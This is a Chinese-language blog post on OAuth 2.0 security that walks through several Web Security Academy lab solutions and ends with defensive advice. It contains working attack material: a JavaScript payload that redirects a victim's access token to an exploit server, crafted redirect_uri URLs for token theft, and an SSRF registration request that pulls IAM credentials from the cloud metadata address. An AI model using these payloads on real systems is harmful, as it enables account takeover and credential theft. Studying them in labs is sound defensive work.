<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    OAuth2-0協議安全學習

    VSole2022-08-19 15:55:35

    有一個問題困擾了很久很久,翻來覆去無法入眠,那就是OAuth2.0有什么安全問題啊

    OAuth2.0是一種常用的授權框架,它使網站和 Web 應用程序能夠請求對另一個應用程序上的用戶帳戶進行有限訪問,在全世界都有廣泛運用

    OAuth2.0簡介

    OAuth2.0是什么

    OAuth2.0是授權的工業標準協議,該協議允許第三方應用程序對于服務的有限訪問,例如常見的第三方登錄就基于此協議

    OAuth2.0應用情景

    OAuth2.0常被應用于以下情景

    ?應用于第三方應用登錄,將受保護的用戶資源授權給第三方信任用戶,從而避免二次登錄造成泄密

    ?應用于多服務場景中,用于服務的統一登陸認證,對內部系統之間的資源請求進行權限管理

    ?應用于開發平臺場景中,對系統敏感資源進行安全認證和保護

    密碼與OAuth2.0

    ?密碼與令牌(token)的作用是一樣的,但令牌有其特點

    –用戶無法自己修改

    –且一般來說token是短期的

    –可以被所有者撤銷

    –token的權限一般是有限制的,而對于密碼而言,其權限一般是完整權限

    ?基于以上設計,OAuth2.0協議即可保證可以使得第三方應用獲得權限使用,但又隨時處于可控,這就是OAuth2.0的優點所在

    OAuth2.0運行流程和授權模式

    首先了解一下大概結構

    Client: 第三方應用

    Resource Owner: 資源所有者

    Authorization Server: 授權服務器

    Resource Server: 擁有資源信息的服務器

    以下即為運行過程

    OAuth的授權模式有四種

    ?授權碼模式|authorization code

    ?簡化模式|implicit

    ?密碼模式|resource owner password credentials

    ?客戶端模式|client credentials

    在請求中一般存在response_type一類的參數,根據授權模式的不同,參數內容也會不同,這就是我們判斷不同授權模式的重要依據

    詳情可見

    https://www.ruanyifeng.com/blog/2014/05/oauth_2_0.html

    四種授權模式,安全問題大多在authorization code模式和implicit模式發生,我們也可以對此著重了解

    OAuth2.0安全問題分析

    為什么出現問題

    OAuth2.0的授權認證流程大部分情況下是沒有問題的,但他缺少內置的安全功能,認證是否安全幾乎完全取決于使用者的正確配置,例如是否對token進行數據綁定、是否對數據本身進行加密等,而且不同的授權方法有不同的1特點,而根據授權類型,即使是高度敏感的數據都會被通過瀏覽器發送,給了攻擊者各種攔截數據的機會

    怎么判斷是否使用OAuth2.0認證方法

    主要可以通過兩點判斷

    ?對數據進行抓包,基本所有的認證請求都是自/authorization開始,并且攜帶了類似于Client_id、redirect_uri等標志參數

    ?是否可以使用第三方應用進行登錄,如若可以,基都是采取OAuth2.0認證

    授權服務器認證繞過

    當我們完成登錄獲取第三方資源時,是通過一個用戶郵箱、ID進行識別,但如果第三方資源授權沒有對此進行合理的認證,就有可能繞過授權服務器認證

    ?靶場

     Lab: Authentication bypass via OAuth implicit flow

    ?解法

     進行抓包,查看數據包的交互流程,在/authorization看到有郵箱、ID返回認證

     

     

     

     可以嘗試修改email和username

     

     Forward發送,發現token并沒有進行內容綁定,成功login

     

    CSRF關聯賬號

    造成這個安全問題的主要原因是對OAuth組件的配置錯誤,比如state參數

    這個參數可以類比于CSRF令牌token,一般是作為與會話信息相關聯的一個hash值,作為客戶端與服務端之間通信的token令牌,而當配置出現問題,攻擊者就可以將受害者第三方登錄信息綁定到自己的賬號實現CSRF

    ?靶場

     Lab: Forced OAuth profile linking

    ?解法

     我們先正常登錄

     

    點擊綁定social profile,對social media認證頁面進行抓包,得到令牌code

     

    我們可以先直接帶上訪問一下試試

     

    這是因為我們還沒有實現綁定登錄,我們現在要做的就是讓管理員登錄時帶上的是我們的code,這樣我們就可以成功劫持管理員賬號

    我們重新抓取一個包拿到code,得到code后drop掉不讓他成功登錄認證

    然后進入exploit修改body

     

     發送給受害者,而后重新登錄social media

     成功登錄admin

     

    刪掉carlos用戶即可

    CSRF獲取敏感信息

    我們正常登錄認證后需要從認證頁面重定向回到原本的頁面,這里起到作用的就是redirect_uri參數,這是一個很合理的設計,但如果redirect_uri重定向回來的是其他地方,比如我們的攻擊服務器,那么我們是不是可以竊取到一些敏感信息,例如我們上一道題登錄admin用到的code

    與上一題不同的點在于,前者是攻擊者生成了token讓admin綁定,這里是讓admin生成token攻擊者拿到去進行綁定

    ?靶場

     Lab: OAuth account hijacking via redirect_uri

    ?解法

     我們抓包可以看到很多個參數,返回的response有個重定向回到原本的登陸頁面

     

     我們可以先簡單測試一下,把redirect_uri參數換成我們的攻擊服務

     訪問抓包

     

     callback

     

     可以看到host變成了我們的攻擊服務器,這就是問題所在

     我們進入exploit修改body

      

    修改redirect_uri重定向回我們的exploit,store存儲一下,然后view exploit預覽一下

     

     確認可以后發送給受害者,然后查看log,可以看到就能竊取到code

     

     然后根據包的發送流程,將code進行修改callback回去

     

     https://0a9f002504223c0dc09209d200340068.web-security-academy.net/oauth-callback?code=FXCVQ2aBY087fAtUfkhq_hoW6Iifug0OlkGcHO31Do
    

    成功登錄admin,刪除用戶就行

    通過開放重定向獲取敏感信息

    與上一道類似,但是這里加入了對重定向redirect_uri參數的檢測,限制url為client app,這時候可以通過在client app中尋找open redirect漏洞,再搭配CSRF得到code實現越權

    ?靶場

     Lab: Stealing OAuth access tokens via an open redirect

    ?解法

     抓包然后查找apikey,發現在/me路徑,放入repeater

     

    測試redirect_uri,發現是以白名單進行驗證,無法以外域作為重定向提供,同時發現存在目錄遍歷漏洞

     

     

    進行尋找漏洞利用點,發現每個blog下方均有一個post點,易受目錄遍歷,選擇進行測試

     

    抓包放入repeater中測試,發現可以重定向到外域,這樣我們就可以利用1這個重定向到我們的攻擊服務器,進行敏感數據的竊取

     

     我們修改url重定向回exploit

     https://YOUR-LAB-OAUTH-SERVER.web-security-academy.net/auth?client_id=YOUR-LAB-CLIENT-ID&redirect_uri=https://YOUR-LAB-ID.web-security-academy.net/oauth-callback/../post/next?path=https://YOUR-EXPLOIT-SERVER-ID.web-security-academy.net/exploit&response_type=token&nonce=399721827&scope=openid%20profile%20email
    

     

     進行訪問,成功返回hello,world

     

     這樣我們就可以編寫script,讓admin登錄從而泄露token

      if (!document.location.hash) {        window.location = 'https://YOUR-LAB-AUTH-SERVER.web-security-academy.net/auth?client_id=YOUR-LAB-CLIENT-ID&redirect_uri=https://YOUR-LAB-ID.web-security-academy.net/oauth-callback/../post/next?path=https://YOUR-EXPLOIT-SERVER-ID.web-security-academy.net/exploit/&response_type=token&nonce=399721827&scope=openid%20profile%20email'    } else {        window.location = '/?'+document.location.hash.substr(1)    
    

     

     發送給受害者后進入access log,得到access_token

     

     將access_token替換到/me路徑的Authorization: Bearer標頭中的token

     

    發送即可得到apikey,提交即可

    危險傳遞、使用某些特定數據

    當OAuth存在專用注冊端點來運行客戶端自行注冊,而OAuth服務又以一種不安全的方式來傳遞、使用某些特定于客戶端的數據,就可能存在SSRF漏洞,出現密鑰的泄露

    ?靶場

     Lab: SSRF via OpenID dynamic client registration

    ?解法

     首先我們需要了解的是在OAuth服務開發中,存在這樣一類文件

     /.well-known/openid-configuration(類似的url還有/.well-known/oauth-authorization-server和/.well-known/jwks.json
    

     他們存儲著一些相關的配置

     我們嘗試訪問

    https://YOUR-LAB-OAUTH-SERVER.web-security-academy.net/.well-known/openid-configuration
    

     

    可以發現/reg是注冊點,我們可以在repeater中創建一個post請求向OAuth請求注冊,而這其中必須提供至少一個redirect_uris數組

     

     傳參后我們可以看到服務器給我們返回了client_id和一系列數據

     我們繼續翻看配置參數,其中最有可能存在SSRF的url參數就是logo_uri

     我們可以進行嘗試,啟動Burp Collaborator client

     POST /reg HTTP/1.1Host: YOUR-LAB-OAUTH-SERVER.web-security-academy.netContent-Type: application/json
    {    "redirect_uris" : [        "https://example.com"    ],    "logo_uri" : "https://BURP-COLLABORATOR-SUBDOMAIN"}
    

     

     發現可以成功攜帶數據

     

    當我們拿著生成的client_id去訪問的時候我們也可以發現確實會攜帶出一些特殊數據

      /client/CLIENT-ID/logo

     

    那當我們修改logo_uri為其他url時,我們就可以攜帶出我們想要的東西了,而題目已經給出了攻擊服務器的url,我們替換一下

     POST /reg HTTP/1.1Host: YOUR-LAB-OAUTH-SERVER.web-security-academy.netContent-Type: application/json
    {    "redirect_uris" : [        "https://example.com"    ],    "logo_uri" : "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/"}
    

     

     

     得到key

    防御總結

    ?使用白名單檢驗redirect_url參數

    ?檢驗state參數是否存在

    ?ccess token和client_id是否匹配,同時驗證access token的訪問范圍

    ?修復client端的開放重定向漏洞,防止auth code的泄露

    參考文章

    ?https://www.ruanyifeng.com/blog/2014/05/oauth_2_0.html

    ?https://kuron3k0.github.io/2021/01/12/oauth-security/

    重定向oauth
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    流行的插件已安裝在超過一百萬個網站上,并且具有四個漏洞,這些漏洞允許各種嚴重的攻擊,包括網站接管和電子郵件劫持。
    微軟、谷歌OAuth漏洞被用于釣魚攻擊。
    雖說是 Spring 框架漏洞,但以下包含并不僅 Spring Framework,Spring Boot,還有 Spring Cloud,Spring Data,Spring Security 等。
    雖說是 Spring 框架漏洞,但以下包含并不僅 Spring Framework,Spring Boot,還有 Spring Cloud,Spring Data,Spring Security 等。 CVE-2010-1622 Spring Framework class.classLoader 類遠程代碼執行 影響版本:SpringSource Spring Framework 3.0.0
    OAuth2-0協議安全學習
    2022-08-19 15:55:35
    Forward發送,發現token并沒有進行內容綁定,成功login?點擊綁定social profile,對social media認證頁面進行抓包,得到令牌code?發送給受害者,而后重新登錄social media?可以看到host變成了我們的攻擊服務器,這就是問題所在?確認可以后發送給受害者,然后查看log,可以看到就能竊取到code??然后根據包的發送流程,將code進行修改callback回去?
    唯一可以防止這種情況發生的保護措施是 COOP,但它在前幾個月在 Facebook 中被大量應用。
    GitHub披露了上周的事件相關細節,黑客使用偷來的OAuth令牌,從私人倉庫下載了數據。
    GitHub安全研究人員報告稱,4月12日,一名未知的攻擊者使用被盜的Heroku和Travis CI維護的第三方OAuth用戶令牌從數十家企業的私有存儲庫中下載數據。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类